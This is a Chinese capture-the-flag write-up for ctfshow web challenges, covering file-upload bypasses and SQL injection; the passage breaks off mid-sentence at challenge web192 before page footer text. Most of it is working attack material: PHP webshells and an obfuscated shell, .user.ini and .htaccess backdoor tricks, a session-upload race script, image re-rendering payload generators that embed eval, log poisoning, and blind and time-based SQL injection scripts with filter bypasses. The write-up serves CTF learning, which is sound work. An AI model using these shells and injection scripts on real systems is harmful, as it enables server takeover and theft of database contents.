ctfshow-WEB入门-Part2-wp

WEB入门-Part2

6、文件上传

web151

上传图片马,然后在burp里把后缀png更改为php,再去执行命令即可

制作图片马方法

用一张小点的图片和一句话木马,利用copy命令生成图片马
copy 1.png/b+2.php/a 3.png

web152

和上题一样的方法

web153

开始对php后缀进行了限制,这里我们利用.user.ini来构造后门

php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。

这里说一下php中的两个配置项

auto_prepend_file=filename      //包含在文件头
auto_append_file=filename       //包含在文件尾

举个例子

//.user.ini
auto_prepend_file=1.png

//1.png
<?php phpinfo();?>

//1.php(任意php文件)

满足这三个文件在同一目录下,则相当于在1.php文件里插入了包含语句require('1.png'),进行了文件包含,所以我们就依次上传即可

在这里插入图片描述

接着上传一个图片马muma.png

然后访问upload目录,即url+/upload即可,因为此目录下原本有个index.php,接着再执行我们的一句话木马获取flag

POST:
pass=system("tac ../flag.php");

web154

继续按照上题步骤,传一个.user.ini文件,接着在上传图片马的时候报错了

在这里插入图片描述

解码后显示的文字是不支持格式,说明可能内容里的php被ban了,改成短标签的形式再上传,发现可以通过

短标签形式:<?=system("tac ../f*");?>

接着再访问upload目录,即可得到flag

web155

用上题(web154)的办法可以通过

web156

用上题(web154)的办法可以通过

web157

一样用上题(web154)的办法可以通过,但过滤了分号,把短标签后面的;去掉,即

短标签形式:<?=system("tac ../f*")?>

web158

和上题一样的做法

web159

这里把()给ban了,我们采用反引号来执行命令,即

短标签形式:<?=`tac ../f*`?>

web160

依旧上传个.user.ini文件,但在传图片马的时候把反引号给ban了,我们使用include命令去配合php伪协议进行读取,因为把php给ban了,所以我们需要拼接起来,即

<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>

上传后访问upload目录

接着再base64解码即可得到flag

web161

这次上传失败了,尝试在头部加了图片文件头,就过去了,所以这里应该是用了getimagesize()进行检测

getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求

所以在上题的基础上都加个GIF89a图片头就可以了

在这里插入图片描述

在这里插入图片描述

上传后访问upload目录

接着再base64解码即可得到flag

web162

这次把.给ban了,我们使用session文件包含,又忘记知识点的可以去看web82;还是一样先上传.user.ini ,内容为

GIF89a
auto_prepend_file=/tmp/sess_muma

接着再运行脚本即可

import io
import requests
import threading
url = 'http://3238a505-5728-4702-b83b-98460ec17f8d.chall.ctf.show:8080/'

def write(session):
    data = {
   
        'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
    }
    while True:
        f = io.BytesIO(b'GIF89a\ndotast')
        files = {
   'file': ('1.png', f, 'image/png')}
        response = session.post(url+"upload.php",cookies={
   'PHPSESSID': 'muma'}, data=data, files=files)
def read(session):
    while True:
        response = session.get(url+'upload')
        if 'ctfshow' in response.text:
            print(response.text)
            break
        else:
            print('retry')

if __name__ == '__main__':
    session = requests.session()
    for i in range(30):
        threading.Thread(target=write, args=(session,)).start()
    for i in range(30):
        threading.Thread(target=read, args=(session,)).start()

web163

和上题一样采用session文件包含

web164

题目说开始改头换面了,先右键查看源码,发现有个download.php?image=

在这里插入图片描述

猜测有可能是上传图片马,然后文件包含执行命令,我们先上传一个图片马

点击查看图片,跳转到图片页面,但发现执行不了,crtl+s把图片下载下来后,对比之前的图片发现马被弄没了

在这里插入图片描述

在这里插入图片描述

应该是经过了二次刷新,这里用之前收集的外国师傅的脚本来生成图片马

<?php

/*<?$_GET[0]($_POST[1]);?>*/

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png');

需要安装php的gd库,使用命令sudo apt-get install php-gd进行安装,然后运行php 图片二次渲染.php,生成1.png

接着上传生成的图片马,然后访问图片地址,抓包post执行命令即可得到flag

在这里插入图片描述

web165

这次变成jpg了,在网上找了对应的二次渲染的脚本

<?php
	/*

	The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
	It is necessary that the size and quality of the initial image are the same as those of the processed image.

	1) Upload an arbitrary image via secured files upload script
	2) Save the processed image and launch:
	jpg_payload.php <jpg_name.jpg>

	In case of successful injection you will get a specially crafted image, which should be uploaded again.

	Since the most straightforward injection method is used, the following problems can occur:
	1) After the second processing the injected data may become partially corrupted.
	2) The jpg_payload.php script outputs "Something's wrong".
	If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

	Sergey Bobrov @Black2Fan.

	See also:
	https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

	*/

	$miniPayload = '<?=eval($_POST[1]);?>';


	if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
   
    	die('php-gd is not installed');
	}
	
	if(!isset($argv[1])) {
   
		die('php jpg_payload.php <jpg_name.jpg>');
	}

	set_error_handler("custom_error_handler");

	for($pad = 0; $pad < 1024; $pad++) {
   
		$nullbytePayloadSize = $pad;
		$dis = new DataInputStream($argv[1]);
		$outStream = file_get_contents($argv[1]);
		$extraBytes = 0;
		$correctImage = TRUE;

		if($dis->readShort() != 0xFFD8) {
   
			die('Incorrect SOI marker');
		}

		while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
   
			$marker = $dis->readByte();
			$size = $dis->readShort() - 2;
			$dis->skip($size);
			if($marker === 0xDA) {
   
				$startPos = $dis->seek();
				$outStreamTmp = 
					substr($outStream, 0, $startPos) . 
					$miniPayload . 
					str_repeat("\0",$nullbytePayloadSize) . 
					substr($outStream, $startPos);
				checkImage('_'.$argv[1], $outStreamTmp, TRUE);
				if($extraBytes !== 0) {
   
					while((!$dis->eof())) {
   
						if($dis->readByte() === 0xFF) {
   
							if($dis->readByte !== 0x00) {
   
								break;
							}
						}
					}
					$stopPos = $dis->seek() - 2;
					$imageStreamSize = $stopPos - $startPos;
					$outStream = 
						substr($outStream, 0, $startPos) . 
						$miniPayload . 
						substr(
							str_repeat("\0",$nullbytePayloadSize).
								substr($outStream, $startPos, $imageStreamSize),
							0,
							$nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
								substr($outStream, $stopPos);
				} elseif($correctImage) {
   
					$outStream = $outStreamTmp;
				} else {
   
					break;
				}
				if(checkImage('payload_'.$argv[1], $outStream)) {
   
					die('Success!');
				} else {
   
					break;
				}
			}
		}
	}
	unlink('payload_'.$argv[1]);
	die('Something\'s wrong');

	function checkImage($filename, $data, $unlink = FALSE) {
   
		global $correctImage;
		file_put_contents($filename, $data);
		$correctImage = TRUE;
		imagecreatefromjpeg($filename);
		if($unlink)
			unlink($filename);
		return $correctImage;
	}

	function custom_error_handler($errno, $errstr, $errfile, $errline) {
   
		global $extraBytes, $correctImage;
		$correctImage = FALSE;
		if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
   
			if(isset($m[1])) {
   
				$extraBytes = (int)$m[1];
			}
		}
	}

	class DataInputStream {
   
		private $binData;
		private $order;
		private $size;

		public function __construct($filename, $order = false, $fromString = false) {
   
			$this->binData = '';
			$this->order = $order;
			if(!$fromString) {
   
				if(!file_exists($filename) || !is_file($filename))
					die('File not exists ['.$filename.']');
				$this->binData = file_get_contents($filename);
			} else {
   
				$this->binData = $filename;
			}
			$this->size = strlen($this->binData);
		}

		public function seek() {
   
			return ($this->size - strlen($this->binData));
		}

		public function skip($skip) {
   
			$this->binData = substr($this->binData, $skip);
		}

		public function readByte() {
   
			if($this->eof()) {
   
				die('End Of File');
			}
			$byte = substr($this->binData, 0, 1);
			$this->binData = substr($this->binData, 1);
			return ord($byte);
		}

		public function readShort() {
   
			if(strlen($this->binData) < 2) {
   
				die('End Of File');
			}
			$short = substr($this->binData, 0, 2);
			$this->binData = substr($this->binData, 2);
			if($this->order) {
   
				$short = (ord($short[1]) << 8) + ord($short[0]);
			} else {
   
				$short = (ord($short[0]) << 8) + ord($short[1]);
			}
			return $short;
		}

		public function eof() {
   
			return !$this->binData||(strlen($this->binData) === 0);
		}
	}
?>

不过jpg图片成功率很低,试了好多张都不行,搜了一下,发现一张成功率比较高的图片,下面是原图

在这里插入图片描述

然后点击查看图片,crtl+s下载被渲染过的图片,另存为1.jpg

然后运行脚本php jpg图片二次渲染.php 1.jpg,生成payload_1.jpg

然后再上传payload_1.jpg,点击查看图片,可以看到图片有明显变化

然后抓包,执行命令获取flag

在这里插入图片描述

web166

查看源码,发现只能上传zip

在这里插入图片描述

我们写个一句话木马,然后把php改成zip上传

在这里插入图片描述

然后访问上传的页面,通过文件包含的特性,我们直接执行命令即可

在这里插入图片描述

web167

根据题目提示的httpd,想到是利用htaccess文件

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

首先上传一个jpg文件抓包(因为前段限制了只能上传jpg)

AddType application/x-httpd-php .jpg

然后文件名改成.htaccess,然后上传

接着再上传jpg格式文件,内容是一句话木马

然后访问文件,执行命令即可得到flag

web168

根据题目提示,是要做简单的免杀,刚好玩awd遇过挺多免杀马,第一个先祭上bugku的一道题过狗一句话的免杀马

<?php 
    $poc="s#y#s#t#e#m"; 
    $poc_1=explode("#",$poc); 
    $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
    $poc_2($_REQUEST['1']);
?>

还是基础操作,做一个图片马传上去

可以看见成功上传,绕后访问upload目录执行命令获取flag

在这里插入图片描述

web169

右键源码查看前端限制只能上传zip,先上传一个zip,然后抓包,改Content-Typeimage/png,可以传php等格式,但发现内容中过滤了<>php,试了下可以传.user.ini,我们尝试一下日志包含,User-Agent加上一句话木马

auto_prepend_file=/var/log/nginx/access.log

在这里插入图片描述

接着得再上传一个php文件,满足.user.ini的利用效果,内容随意(因为内容中过滤了<>php

在这里插入图片描述

然后再用蚁剑连接upload目录下的1.php即可

web170

和上题一样的方法

7、sql注入

web171

先输入1查询

这里我们可以看到查询语句是这样的

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

当我们输入id=1的时候,语句代入数据库中查询就会变成这样

select username,password from user where username !='flag' and id ='1' limit 1;

如果我们加个单引号,即

select username,password from user where username !='flag' and id ='1'' limit 1;

语句不规范就会报错

如果我们在后面加个注释符,即变成id=1'--+

select username,password from user where username !='flag' and id ='1'--+' limit 1;
注释符--+会把后面的语句全注释掉,就不会报错,语句就变成了
select username,password from user where username !='flag' and id ='1'

接下来我们用order by语句测试有多少列

1' order by 4 --+

可以看到4列的时候报错,我们再减小数字

3列的时候正确回显了数据,说明只有三列

接下来,我们查一下数据库名字,这里用union语句来连接查询,并且在前面把id改成-1以达到把查询id回显的数据给置空的目的

-1' union select database(),2,3 --+

回显出数据库名字为ctfshow_web,接下来查询表,这里我们用group_concat函数,它可以把相同行的数据都组合起来

-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema="ctfshow_web" --+

查出表名为ctfshow_user,接下来再去查列名

-1' union select group_concat(column_name),2,3 from information_schema.columns where table_name="ctfshow_user"--+

得到有id,username,password三个列名,然后再password中找到了flag

-1' union select password,2,3 from ctfshow_user--+

web172

这次变成了两列

1' order by 2 --+

查数据库名

-1' union select database(),1--+

得到数据库名字为ctfshow_web,接着查表名

-1' union select group_concat(table_name),1 from information_schema.tables where table_schema="ctfshow_web" --+

得到有两个表,ctfshow_user和ctfshow_user2,直觉flag在第二个表中(后来看到代码都提示第二个了),直接查第二个表的列名

-1' union select group_concat(column_name),1 from information_schema.columns where table_name="ctfshow_user2" --+

得到有id,username,password三个列名,查password

-1' union select password,1 from ctfshow_user2--+

得到flag

web173

这次测出是三列

1' order by 3 --+

根据前面我们已经摸清数据库结构了,这里直接查password得到flag

-1' union select password,2,3 from ctfshow_user3--+

web174

测试了一下,有两列,但没有回显

这里代码匹配到数字就不会回显,我们可以采用盲注的方式来测试,这里我用的substr语句和页面回显查询出的admin语句来结合利用,写一个脚本

import requests
url = "http://9ee16fc0-d13a-48ce-a43d-08dbe999e319.challenge.ctf.show:8080/api/v4.php"
dict = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = ""
for i in range(1,50):
    for j in dict:
        payload = f"?id=1' and substr((select password from ctfshow_user4 where username=\"flag\"),{
     i},1)=\"{
     j}\"--+"
        gloal = url + payload
        res = requests.get(url=gloal)
        if 'admin' in res.text:
            flag += j
            print(flag)
            break

web175

这题的匹配规则把ascii码表中全部字符给禁了,不过我们还可以利用时间盲注的方法来判断获取flag,先说一下mysql中的if判断方法吧

if(expr1,expr2,expr3)  

如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3。写个时间盲注脚本来跑

import requests
import time
url = "http://9cb608df-e447-434e-b864-67001d4b869d.challenge.ctf.show:8080/api/v5.php"
dict = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = ""
for i in range(1,50):
    for j in dict:
        payload = f"?id=1' and if(substr((select password from ctfshow_user5 where username=\"flag\"),{
     i},1)=\"{
     j}\",sleep(5),0)--+"
        gloal = url + payload
        start = time.time()
        res = requests.get(url=gloal)
        end = time.time()
        if end-start > 4.9:
            flag += j
            print(flag)
            break

web176

这次开始有过滤注入,先测出有三列

1' order by 3--+

fuzz测试一下,发现是对select进行了过滤,我们大小写绕过就好了,payload如下

-1' union Select password,2,3 from ctfshow_user--+

还有另一种简单办法,既然存在注入,直接万能密码就好了' or 1=1--+

web177

这次发现还多过滤了空格,我们可以用%0a换行符或者/**/注释符绕过(或者%09,%0b,%0c,%0d都可以)

这次我们用万能密码吧,用上面的也可以,不过绕过空格后有点长,后面的注释我们用#的url编码形式%23,payload为

'/**/or/**/1=1%23

web178

这次/**/被ban了,我们换%0a

'%0aor%0a1=1%23

web179

这次测试一轮下来,发现只有%0c可以用

'%0cor%0c1=1%23

web180

这次把已知的能用的绕过空格方法都给过滤了,不过还可以采用运算符的方式来构造一个万能密码,先放出payload

-1'or(id=26)and'1

前面我们已经知道表的结构是id,username,password,所以我们通过查id的方式去找flag,而用运算符中,and的优先级比or高,这句话放到查询语句中就变成了

id='-1'or(id=26)and'1' limit 1;
也就是
(id='-1') or ((id=26) and '1') limit 1;
前面为0,后面为1,所以整个条件为1

web181

这次倒是把waf语句给放出来了,可以看到正则匹配把大小写给过滤,还是一样用上面的payload可以过

-1'or(id=26)and'1

web182

一样可以用上面的payload绕过

-1'or(id=26)and'1

web183

打开网站后根据提示,利用post传参,值为表名,根据之前的题我们知道表名是“ctfshow_user”,所以post一下

发现返回值为22,说明有22行数据,这里看返回逻辑把空格和等号以及一些常用的语句给ban掉了,空格的话用括号扩住来让语句正常执行,等号用like来替代,然后用where和%来匹配数据

post:tableName=(ctfshow_user)where(pass)like'ctfshow%'

发现返回值为1,说明执行成功,我们写一个脚本来跑剩下的flag

import requests

url = "http://adb1f64a-e1fd-4640-aeb5-b49da1a62390.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
    for j in str:
        data = {
   "tableName":"(ctfshow_user)where(pass)like'{0}%'".format(flag+j)}
        res = requests.post(url=url, data=data)
        if "$user_count = 1" in res.text:
            flag += j
            print(flag)
            if j=="}":
                exit()
            break

web184

这次倒是过滤了蛮多东西,像where和单引号双引号啥的都给ban了,这里打算用"right join"右连接(其他例如左连接内连接都可)来把两个表连接起来进行查询pass字段,后面的单引号可以用16进制编码绕过

RIGHT JOIN(右连接): 用于获取右表所有记录,即使左表没有对应匹配的记录。

ctfshow%    16进制编码后-->   0x63746673686f7725

post:tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686f7725

发现可以成功返回数据,改一下脚本继续跑

import requests
import binascii

def to_hex(s):
    # 字符串转16进制
    str_16 = binascii.b2a_hex(s.encode('utf-8'))  
    str_16 = bytes.decode(str_16)
    res = str_16.replace("b'","").replace("'","")
    return res

url = "http://4d223a13-c7d6-4213-9c81-d388a5c26634.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
    for j in str:
        result = "0x" + to_hex(flag + j + "%")
        data = {
   "tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like {0}".format(result)}
        res = requests.post(url=url, data=data)
        if "$user_count = 43" in res.text:
            flag += j
            print(flag)
            if j=="}":
                exit()
            break

web185

看匹配规则,这次把数字都给全ban了

function waf($str){
   
   return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
 }

想到绕过的方法,一个是用true,另一个是用字母。在mysql中,sql语句true为1,true+true=2,所以通过相加,任何字母我们都可以构造出来

把上题脚本改一下,这里用concat来把每个字母连接起来,作用是连接每个参数拼接成字符串

mysql> SELECT CONCAT('my', 's', 'ql');
-> 'mysql'

写一个脚本

import requests

def createNum(n):
    str = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            str += "+true"
    return str
#把每一个字符转换成ascii码对应的数值
def change_str(s):
    str=""
    str+="chr("+createNum(ord(s[0]))+")"
    for i in s[1:]:
        str+=",chr("+createNum(ord(i))+")"
    return str

url = "http://c0323dfb-fa55-4925-9c61-2e4b8c64e835.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
    for j in str:
        result = change_str(flag + j + "%")
        data = {
   "tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({0}))".format(result)}
        res = requests.post(url=url, data=data)
        if "$user_count = 43;" in res.text:
            flag += j
            print(flag)
            if j=="}":
                exit()
            break

web186

再上一题基础上多加了几个过滤,但没影响,继续用上一题脚本打通

import requests

def createNum(n):
    str = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            str += "+true"
    return str

def change_str(s):
    str=""
    str+="chr("+createNum(ord(s[0]))+")"
    for i in s[1:]:
        str+=",chr("+createNum(ord(i))+")"
    return str

url = "http://3044fe6f-042f-49ea-a38c-5806a2404c7f.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
    for j in str:
        result = change_str(flag + j + "%")
        #print(result)
        data = {
   "tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({0}))".format(result)}
        res = requests.post(url=url, data=data)
        if "$user_count = 43;" in res.text:
            flag += j
            print(flag)
            if j=="}":
                exit()
            break

web187

这次变成登录的了,看返回逻辑

$username = $_POST['username'];
$password = md5($_POST['password'],true);

//只有admin可以获得flag
if($username!='admin'){
   
	$ret['msg']='用户名不存在';
   die(json_encode($ret));
}

很明显注入点是md5()函数这里,后面用了参数true,返回的是一个16位二进制

而从网上搜集到的有一个字符串ffifdyop很特殊

echo md5("ffifdyop",true);
//结果转为字符串
'or'6(后面的是不可见字符)

可以看到会返回引号闭合和or并且后面是一些不可见字符,在mysql中进行布尔判断的时候,只要是数字开头就会被当作true,结果也就是password=''or true

也就是一个万能密码登录,在返回包中成功拿到flag

web188

查看一下sql语句和判断逻辑

 $sql = "select pass from ctfshow_user where username = {
     $username}";

//密码判断
  if($row['pass']==intval($password)){
   
      $ret['msg']='登陆成功';
      array_push($ret['data'], array('flag'=>$flag));
    }

可以看到是通过检索username来列出密码,然后一个弱比较来进行判断,先给出payload

username=0&password=0

以这道题的数据库为例,这个数据库中的用户名都是以字母开头的数据,而以字母开头的数据在和数字比较时,会被强制转换为0,因此就会相等,后面的pass也是一样的道理

但注意,如果有某个数据不是以字母开头,是匹配不成功的,这种情况怎么办,我们可以用||运算符

username=1||1&password=0

web189

开局就来个提示,flag在api/index.php

这次尝试username=0&password=0登录,发现提示密码错误,说明是密码跟上一题不一样了,不是以字母开头的数据。根据提示,flag的位置在一个文件中,可以用load_file来配合regexp来进行盲注

LOAD_FILE(file_name): 读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。

regexp: mysql中的正则表达式操作符

容易想到默认路径是/var/www/html/api/index.php,开始写个脚本进行盲注

import requests
url = "http://e232d7fb-b70d-4123-a740-369d7137c5dd.challenge.ctf.show:8080/api/index.php"
all_str = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag = "ctfshow{"

for i in range(200):
    for j in all_str:
        data = {
   
            "username":"if(load_file('/var/www/html/api/index.php')regexp('{0}'),0,1)".format(flag + j),
            'password':0
        }
        res = requests.post(url=url, data=data)
        if r"\u5bc6\u7801\u9519\u8bef" in res.text:
            flag +=j
            print(flag)
            break
        if j=='}':
            exit()

web190

查看查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{
     $username}'";

结合用户名处会返回用户不存在和密码错误两种结果,利用布尔盲注来进行爆破获取flag,脚本如下

import requests
url = "http://e4bfc493-4ed3-4091-99b3-e1770febcde1.challenge.ctf.show:8080/api/"
data = {
   'username':'',
        'password':123456}
flag = ''

for i in range(1,46):
    start = 32
    end = 127
    while start < end:
        mid = (start + end) >> 1
        #取表名:payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        #取字段名:payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
        payload = "select f1ag from ctfshow_fl0g"
        data['username'] = f"admin' and if(ascii(substr(({
     payload}), {
     i} , 1)) > {
     mid}, 1, 2)=1#"
        res = requests.post(url=url, data=data)
        if "密码错误" in res.json()['msg']:
            start = mid +1
        else:
            end = mid
    flag = flag + chr(start)
    print(flag)

web191

看到代码中把ascii给过滤了

//TODO:感觉少了个啥,奇怪
  if(preg_match('/file|into|ascii/i', $username)){
   
      $ret['msg']='用户名非法';
      die(json_encode($ret));
  }

我们把上题的脚本中的ascii函数换成ord函数就可以,对于单字节处理两者作用一样

**ord():**ord函数返回字符串的第一个字符的ascii值

import requests
url = "http://d0f3a387-5d85-4a5c-a4b8-2267077de55f.challenge.ctf.show:8080/api/"
data = {
   'username':'',
        'password':123456}
flag = ''

for i in range(1,46):
    start = 32
    end = 127
    while start < end:
        mid = (start + end) >> 1
        #取表名:payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        #取字段名:payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
        payload = "select f1ag from ctfshow_fl0g"
        data['username'] = f"admin' and if(ord(substr(({
     payload}), {
     i} , 1)) > {
     mid}, 1, 2)=1#"
        res = requests.post(url=url, data=data)
        if "密码错误" in res.json()['msg']:
            start = mid +1
        else:
            end = mid
    flag = flag + chr(start)
    print(flag)

web192

继续看过滤规则

//TODO:感觉少了个啥,奇怪
    if(preg_match
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值